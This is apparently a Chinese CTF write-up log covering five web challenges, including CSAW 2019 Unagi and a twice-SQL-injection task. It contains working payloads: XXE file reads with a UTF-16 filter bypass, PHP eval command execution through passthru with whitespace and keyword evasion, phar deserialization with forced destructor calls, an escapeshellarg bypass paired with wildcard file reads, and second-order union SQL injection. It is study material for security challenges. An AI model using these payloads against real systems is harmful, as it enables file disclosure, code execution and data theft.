[CSAWQual 2019]Unagi
是xxe注入,等找时间会专门去学一下
XML外部实体(XXE)注入 - 知乎
【精选】XML注入学习-CSDN博客
【精选】XML注入_xml注入例子-CSDN博客
题目描述说flag在/flag下
发现有上传点,上传一句话木马试试
文件类型不行
看见提示说在链接处得到上传例子
You can check out the format example here
发现是xml文件格式
看到这里就有了整体的思路,就是要用xxe注入,上传xml格式文件
通用模板
<?xml version="1.0"?>
<!DOCTYPE ANY [ <!ENTITY entityex SYSTEM "file:///"etc/password"> ]>
下边接题中所给的user
因为给了flag文件的路径,所以直接用/flag
payload:
<?xml version='1.0'?>
<!DOCTYPE users [
<!ENTITY xxe SYSTEM "file:///flag" >]>
<users>
<user>
<username>bob</username>
<password>passwd2</password>
<name> Bob</name>
<email>bob@fakesite.com</email>
<group>CSAW2019</group>
<intro>&xxe;</intro>
</user>
</users>
发现还是没绕过防火墙
看wp才知道要用utf-16编码
kali 命令-编码转换
iconv -f utf8 -t utf16 1.xml>2.xml
上传得到flag
[FSCTF 2023]EZ_eval
rce,正则限制了好多
cp 命令详解_cp命令-CSDN博客
以为cp可以利用,但是发现不行
题目是eval,利用eval函数执行php代码
关键就是过滤了?号和空格还有eval执行时用了php的结束标志表示php代码到此为止了
可以用php短标签,有三种方式:
<? echo '123';?> #前提是开启配置参数short_open_tags=on
<script language="php">echo 'hello'; #不需要修改参数开关,但是只能在7.0以下可用。
<% echo '123';%> #开启配置参数asp_tags=on,并且只能在7.0以下版本使用
这里利用到了一个没学过的函数passsthru()
PHP系统程序执行函数(system,passthru,exec)简单分析(附代码)-php教程-PHP中文网
php system执行shell,php命令执行函数–shell_exec()、passthru()、exec()、system()与防止命令执行漏洞函数..._周行文的博客-CSDN博客
passthru
— 执行外部程序并且显示原始输出
void passthru ( string $command [, int &$return_var ] )
范例
<?phppassthru("ls"); ?>
执行结果:
index.phptest.php
payload :
/?word=<script%09language="php">passthru("ta\c%09/f*");
用%09绕过空格,其它的我都试了一遍,没绕过
用\绕过tac的限制
*通配符绕过flag的关键字
得到flag
prize_p1
代码审计一下
首先有getflag类,内容就是输出$FLAG,触发条件为__destruct;然后就是A类的文件写入和读取。最后就是对GET[0]的关键字判断,通过后反序列化GET[0]。
prize1 | bilala's blog 参考wp
思路:
因为正则过滤了flag,所以无法直接触发getflag类;转眼去看A类,既然有任意内容写入+任意文件读取+类,优先考虑phar反序列化
那我们就先利用A类的写文件功能写入一个phar文件,其中phar文件的metadata部分设置为getflag类,其中phar文件的metadata部分设置为getflag类,这样phar://读取之后,其中的metadata部分的数据就被反序列化,getflag就生成了,再最后程序结束触发__destruct获取flag
绕过preg_match,可以采用数组绕过的方法
这道题主要有两个考点————————>Phar反序列化 和强制GC销毁类
浅谈php GC(垃圾回收)机制及其与CTF的一点缘分 - 码农教程
从一道题再看phar的利用-安全客 - 安全资讯平台
关键绕过:
throw Error
使得我们的类没有被销毁,所以如何触发__destruct方法成为了一个问题
在写入文件时,我们需要带入的getflag
类中还是包含了flag
这个关键字,还是会被拦住。所以我们还需要想办法绕过这个关键字,同时还得保证phar://读取时仍可以反序列化其中的数据
强制GC触发__destruct
在PHP中,正常触发析构函数(__destruct)有三种方法:
①程序正常结束
②主动调用unset($aa)
③将原先指向类的变量取消对类的引用,即$aa = 其他值;
前两种很好理解,我们来讲讲第三种
PHP中的垃圾回收Garbage collection
机制,利用引用计数和回收周期自动管理内存对象。当一个对象没有被引用时,PHP就会将其视为“垃圾”,这个”垃圾“会被回收,回收过程中就会触发析构函数
class bilala{
public function __construct($count){
$this->count = $count;
}
public function __destruct(){
echo $this->count."destruct触发";
}
}
$aa = new bilala(1);
//这里的bilala对象就不是垃圾,因为他被$aa所引用
new bilala(2);
//这里的就是垃圾(也就是匿名对象),new出来后没被引用,就会被当作垃圾回收(所以触发析构)
echo PHP_EOL."**********************************".PHP_EOL;
$aa = new bilala(3);
//这里将$aa指向了另一个对象的引用,所以原先的对象触发析构
echo PHP_EOL."**********************************".PHP_EOL;
//程序结束,触发析构
所以在这道题中,我们可以利用取消原本对getflag
的引用,从而触发他的析构函数。
操作如下,在phar的metadata中写入的内容为a:2:{i:0;O:7:"getflag":0:{}i:0;N;}
这样的话,当phar://反序列化其中的数据时(反序列化时是按顺序执行的),先反出a[0]的数据,也就是a[0]=getflag类,再接着反序列化时,又将a[0]设为了NULL,那就和上述所说的一致了,getflag类被取消了引用,所以会触发他的析构函数,从而获得flag
参考wp写的很详细,就不一一赘述了,PHP反序列化需要很深的功底才能学的好
010editor中修改,将对应的位由1改成0,然后保存
phar文件是修改成功了,但这个时候这个phar是处于损坏状态的,因为我们修改了前面的数据导致后面的签名对不上。这个时候,我们还需要手动计算出这个新phar文件的签名,查看PHP手册找到phar的签名格式
我们刚刚的phar的签名标志位为0x0002,为SHA1
签名,所以我们要计算的是出的字节是[-28:-8]
,用脚本计算我们新的phar文件的签名,并重新写入文件(也可以导出为新文件)
可以对phar.phar
文件做以上这些处理,使其成为乱码,从而绕过关键字的检测。
gzip
直接在Linux中gzip压缩一下,然后通过POST[0]上传这个文件,再读取flag
脚本执行,得到flag
[广东强网杯 2021 团队组]love_Pokemon
人傻了
获得hint.php的条件就是先满足switch这个循环 当满足case为 bulbasaur! 的时候它才会去执行下面这个匹配函数
那么这个就是说输入的字符串不包含lv100,但是经过escapeshellarg()处理之后含有lv100
这里就是一个escapeshellarg() 的考点
escapeshellarg 的作用是把字符串转码为可以在 shell 命令里使用的参数。(escapeshellarg 和 escapeshellcmd 相似,主要看是否有引号)
那么这里就可以使用漏洞:escapeshellarg()这个函数在处理超过ASCII码范围的字符的时候会直接过滤掉该字符串
那么我们直接我们可以用%81去绕过,因为%81为不可见字符(当然还有其他的)
paylaod:myfavorite=bulbasaur!&levelup=lv%81100
得到提示:
想获得flag那我们就要去找输出口 显然shell_exec()就是我们需要的函数
那么这里有个条件就是 post传入的dream的长度不能超过20字节
那我们直接传入dream=cat /FLAG 肯定是不行的,因为上边存在过滤
把flag(大小写)和空格一些字符都过滤了那么这里的重点就是如何绕过
读取文件:
使用od命令
od 是一个在Unix和Linux系统上可用的命令行工具,用于以不同的格式显示文件的内容。它的名称代表"octal dump"(八进制转储),因为它最初的目的是以八进制形式显示文件的内容
如何绕过FLAG
这里用到了[]通配的形式,由于黑名单中有A何L这两个字符,因此构造F[B-Z][@-Z]G,这样就能匹配上ASCII表中的@到Z之间的所有字符
最终的payload:myfavorite=mewtwo&dream=od%09/F[B-Z][@-Z]G
得到八进制
转换成10进制得到flag
[October 2019]Twice SQL Injection
是sql二次注入
SQL注入之二次注入_吃花椒地喵酱的博客-CSDN博客
首先我们尝试注册,登录都使用sql语句
发现没任何卵用
发现用admin成功注册进到主页
注入 1' or 1=1#
发现回显:
因此我们可以通过注册+登录,来注册恶意的用户名(就是将sql语句当用户名写入数据库中)
先进行注册
用户名:1' union select database()#
密码:1(下边密码都是这个)
登录发现了数据库名
接着就是用这种方式进行注入
查表
1' union select group_concat(table_name) from information_schema.tables where table_schema='ctftraining'#
查列
1' union select group_concat(column_name) from information_schema.columns where table_name='flag'#
查字段内容
1' union select flag from flag#
得到flag